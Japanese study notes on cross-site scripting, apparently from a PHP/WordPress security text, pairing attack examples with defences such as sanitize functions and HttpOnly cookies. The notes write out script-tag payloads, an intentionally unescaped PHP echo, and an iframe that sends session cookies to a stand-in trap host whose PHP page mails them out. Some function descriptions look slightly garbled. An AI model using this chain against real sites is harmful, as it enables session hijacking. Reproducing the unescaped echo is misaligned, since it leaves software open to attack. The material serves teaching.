~p141 XSS
XSSとは(クロスサイト・スクリプティング)
ウェブサイト内に悪意のあるスクリプトを埋め込む攻撃
XSS攻撃その1(正規サイトにリンクを設置するパターン)
掲示板サイトでユーザーが次のような悪意のあるリンクを投稿したとします
https://example.com?user=<script>alert(‘This is evil message’);</script>
一般ユーザーがそのリンクをクリックします
リンク先が開かれると同時に、悪意のあるスクリプト(上記URLのscriptタグの部分)が実行されます
その結果、クリックした人のCookie情報が盗まれます
XSS攻撃その2(罠サイトを作るパターン)
<?php session_start(); ?>
<?php echo $_GET['keyword']; ?>
上記コードに対して
http://xxx.com/sample?keyword=<script>alert(document.cookie)</script>
を送信すると「PHPSESSID=xgjorkgiah」というアラートが表示されて、セッションIDが取得できてしまいます
実際の攻撃では、悪人本人のセッションIDを取得しても意味がないので、正規サイトの利用者を下記のような罠サイトに誘導します
<iframe src="http://xxx.com/sample?keyword=<script>
window.location='http://trap.xxx.com/sample?sid=%2Bdocument.cookie;
</script>">
</iframe>
%2Bは「+」のパーセントエンコーディングです
正規サイトの利用者は、iframeの中でXSS攻撃されます
window.locationによりセッションIDは罠サイトにページ遷移します
罠サイトでは次のようなコードを記述し、受け取ったSIDをメールで送信します
<?php
mb_language('Japanese');
$sid = $_GET['sid'];
引数は「宛先」「メールタイトル」「本文」「発信者」の4つです
mb_send_mail('info@ooo.jp', '攻撃成功', 'セッションID:'. $sid, 'From: cracked@trap.xxx.com');
?>
エスケープ処理
XSSの対策は「エスケープ処理」です
入力フォームの値をサニタイズ(無害化)することです
sanitize_text_field
・「&」「<」「>」「’」「”」の5文字が「>」などの文字列に変換されます
・これによってHTMLタグが削除されます
・無駄な空白や改行も削除されます
sanitize_email
・メールアドレスに使用できない文字(!等)が削除されます
sanitize_username
・英数字、アンダースコア、ハイフン以外の文字が削除されます
・日本語も削除されます
intval()
・整数以外の文字列が無視されます(123abc -> 123
sanitize_url_raw
・&記号などがエスケープされます
クッキーにHttpOnly属性を付与する
php.iniに下記の設定を追加することで、Javascriptからのクッキーの読み出しを禁止することができます
これによってセッションIDの盗み出しを防止できます
session.cookie_httponly = on